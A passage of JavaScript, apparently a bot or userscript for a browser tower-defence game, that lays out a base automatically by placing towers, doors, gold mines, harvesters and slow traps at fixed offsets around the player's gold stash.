Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + -144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + -480, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + -576, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + -384, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + -384, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -240, stashPosition.y + -432, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + -384, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + -432, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + -384, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + -576, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + -576, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -240, stashPosition.y + -528, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + -480, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + -576, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + -528, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + -480, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 552, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + -408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + 408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + 96, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + -192, stashPosition.y + 96, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + -96, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + -192, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 96, stashPosition.y + 96, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 96, stashPosition.y + 192, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 192, stashPosition.y + -96, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + 96, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + 96, stashPosition.y + 0, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + 0, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -24, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 24, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 288, stashPosition.y + 336, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + 336, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 24, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -24, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -312, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + -96, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -240, stashPosition.y + -336, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + -336, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + 96, stashPosition.y + -96, 'GoldMine', 0);
}
}, 0)
}
EXTREME.BuildMyBase2 = function() {
var waitForGoldStash = setInterval(function() {
if (document.querySelectorAll("[data-building]")[10].classList[1] == "is-disabled") {
var stash = EXTREME.GetGoldStash();
if (stash == undefined) return
var stashPosition = {
x: stash.x,
y: stash.y
}
clearInterval(waitForGoldStash)
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -24, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -408, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 24, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 72, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 120, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 168, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 216, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 264, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + -144, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + -240, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -192, stashPosition.y + -192, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + -192, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + -288, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + -384, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 96, stashPosition.y + -240, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 192, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 288, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + 48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 336, stashPosition.y + 144, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 240, stashPosition.y + 144, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + 144, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + 48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + 288, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + 240, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -192, stashPosition.y + 192, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -336, stashPosition.y + 48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -240, stashPosition.y + 48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -288, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + -48, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + 384, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + 432, 'BombTower', 0);
Auto.PlaceBuilding(stashPosition.x + 288, stashPosition.y + 48, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + 48, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + 192, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + 480, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + 576, 'GoldMine', 0);
Auto.PlaceBuilding(stashPosition.x + -528, stashPosition.y + 48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -624, stashPosition.y + 48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + 144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -528, stashPosition.y + 144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -384, stashPosition.y + 240, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + 240, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -192, stashPosition.y + 288, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + 336, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 288, stashPosition.y + 240, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 384, stashPosition.y + 240, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + 288, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 192, stashPosition.y + 384, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 96, stashPosition.y + -336, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + -480, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 0, stashPosition.y + -576, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 480, stashPosition.y + -48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 576, stashPosition.y + -48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 528, stashPosition.y + -144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + -144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 576, stashPosition.y + 48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + 432, stashPosition.y + 144, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + 528, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -96, stashPosition.y + -336, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -480, stashPosition.y + -48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -576, stashPosition.y + -48, 'CannonTower', 0);
